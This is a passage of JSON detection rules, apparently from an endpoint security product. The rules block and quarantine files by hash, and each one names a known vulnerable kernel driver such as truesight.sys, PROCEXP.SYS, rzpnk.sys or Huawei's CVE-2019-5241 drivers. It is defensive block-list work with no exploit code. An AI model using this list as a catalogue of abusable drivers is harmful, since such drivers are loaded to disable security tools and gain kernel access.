+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831055Z",
+  "creation_date": "2026-03-23T11:45:30.831057Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831063Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93a14d935109917becd87acd891f5ae78a338adf7cec549868fafbc196ea642a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d8b796fa-60c4-5daa-b43d-175b8463ae9e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495237Z",
+  "creation_date": "2026-03-23T11:45:31.495240Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495247Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05888befb804daaf7f67e4cf96c366469b49aee0ca3bf4956295d13db533bfa8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d8b96539-af8a-5cdb-b242-bbba819f7232",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479944Z",
+  "creation_date": "2026-03-23T11:45:31.479956Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479965Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f6c870efde4f827da6bb59eb88004eab884f743049eea246cfe18b36585f675",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d8ba2ba1-0832-5d47-b025-69a310dd8a2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606174Z",
+  "creation_date": "2026-03-23T11:45:29.606176Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606181Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "86721ee8161096348ed3dbe1ccbf933ae004c315b1691745a8af4a0df9fed675",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d8d38a5f-d117-50e0-9fe4-d06c9bebfe8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980430Z",
+  "creation_date": "2026-03-23T11:45:29.980432Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980437Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c925468c3376458d0e1ec65e097bd1a81a03901035c0195e8f6ef904ef3f901",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d8dfcaf3-26a0-5fe2-b99b-3bfdacfa07a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140456Z",
+  "creation_date": "2026-03-23T11:45:31.140458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "30dd053068d60984939e7af6a11d9d0ee2183ba92c7d389f6b2dc71cebc19e22",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d8e44420-94f9-5b81-ac89-e9f596a6d793",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816317Z",
+  "creation_date": "2026-03-23T11:45:31.816320Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816328Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "642478e28630c0f0d02526643315ac855bfb93ac347d8624883f92b6ec51623d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d8fd6855-788c-5997-ac51-3578201c6a96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605909Z",
+  "creation_date": "2026-03-23T11:45:29.605911Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605917Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c88b23dc0bdeeb244c125825865a7a8d9ef04ba4d62ecdd032c77dc6b6733ead",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d9091cca-e0fc-555a-a5e3-0c6675b042fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481523Z",
+  "creation_date": "2026-03-23T11:45:30.481527Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481536Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d133ced666c798ea63b6d8026ec507d429e834daa7c74e4e091e462e5815180",
+  "comment": "Vulnerable Kernel Driver (aka rtif.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d9312b7e-aa4e-5cdb-ad4f-d4a43a58571a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826225Z",
+  "creation_date": "2026-03-23T11:45:30.826228Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826233Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5652485eaad1e1a7256ce6e1c36f82ed449fc195cb892142705a783ba5a307eb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d942b78d-b406-5159-89b1-f2034af0b065",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616415Z",
+  "creation_date": "2026-03-23T11:45:29.616417Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616423Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b95b2d9b29bd25659f1c7ba5a187f8d23cde01162d9b5b1a2c4aea8f64b38441",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d945a062-6caa-5d1d-b45d-e7fc2ade1d7c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494382Z",
+  "creation_date": "2026-03-23T11:45:31.494385Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494394Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb2ce27cd66ef89d1de4b9499425006efdd0e254b8ff5cc3c5c396d0e07f3a04",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d946f879-9e3b-594c-9298-50cf1aa53361",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812926Z",
+  "creation_date": "2026-03-23T11:45:31.812928Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812933Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "053d2510fbed9c2a60e5a2f25de9bdc2e1b01a363d83fa02c9aeb6571f660575",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d95d6a86-6087-59c4-94ae-0e84cb553a45",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827089Z",
+  "creation_date": "2026-03-23T11:45:30.827091Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827097Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e08d61ef600c05c47a5645d2234d19bce845071837af412be7b1176452e9678a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d963b275-14db-55a4-a648-81d5c4c6065c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978405Z",
+  "creation_date": "2026-03-23T11:45:29.978407Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978413Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "881bca6dc2dafe1ae18aeb59216af939a3ac37248c13ed42ad0e1048a3855461",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/a7628504-9e35-4e42-91f7-0c0a512549f4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d96a4fc1-b296-538e-82bc-03953659e08b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494248Z",
+  "creation_date": "2026-03-23T11:45:31.494251Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494259Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c30705b05d89f543270f98a40358968e8c8f3f00003b9a9a6876b0e2377b8880",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d977723a-352f-59a8-8a43-867ba899b9b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614023Z",
+  "creation_date": "2026-03-23T11:45:29.614026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614031Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab494aba56e9ea7b6055ac437f6b678e7239b0fda54bf28019480565a098a6e3",
+  "comment": "Huawei vulnerable drivers (aka HwOs2Ec10x64.sys and HwOs2Ec7x64.sys) [CVE-2019-5241] [https://www.microsoft.com/security/blog/2019/03/25/from-alert-to-driver-vulnerability-microsoft-defender-atp-investigation-unearths-privilege-escalation-flaw/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d98b9fc4-3713-59b3-b95b-74cb80a82a5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474681Z",
+  "creation_date": "2026-03-23T11:45:31.474685Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474694Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bf101fd701c0fe0e982f0bb75a6f641448ec5dc2cb60c75169d808a9b10ba996",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d9917880-8e25-572d-b415-d3dec4afa848",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143835Z",
+  "creation_date": "2026-03-23T11:45:32.143837Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143842Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "530d9223ec7e4123532a403abef96dfd1af5291eb49497392ff5d14d18fccfbb",
+  "comment": "Vulnerable Kernel Driver (aka wnbios.sys) [https://www.loldrivers.io/drivers/baa168cd-eba2-42e4-95e9-47cb4b2f9094/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d9a0f481-bd96-53bb-86fe-96278579bfb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482282Z",
+  "creation_date": "2026-03-23T11:45:31.482286Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482296Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b3c04f73d74190d00a92d323a9aed827e662fee5c6bc512e9da29ec9761eb8d0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d9a90aae-c06d-5d04-83b0-cea0b47b1599",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484056Z",
+  "creation_date": "2026-03-23T11:45:31.484060Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484069Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "10f63e7e207c0dee86afec7673dc2ddd83cbde7b6551f6981b30e0e5d3e66dec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d9b15516-3ce4-5525-8299-addada173a52",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147752Z",
+  "creation_date": "2026-03-23T11:45:31.147754Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147759Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e11b2d91ca03bccba36b3e84267502fd37763f77c934dedac99074b314dd112",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d9b25515-41bf-5454-8c0c-3b8640236370",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144736Z",
+  "creation_date": "2026-03-23T11:45:31.144738Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144743Z",
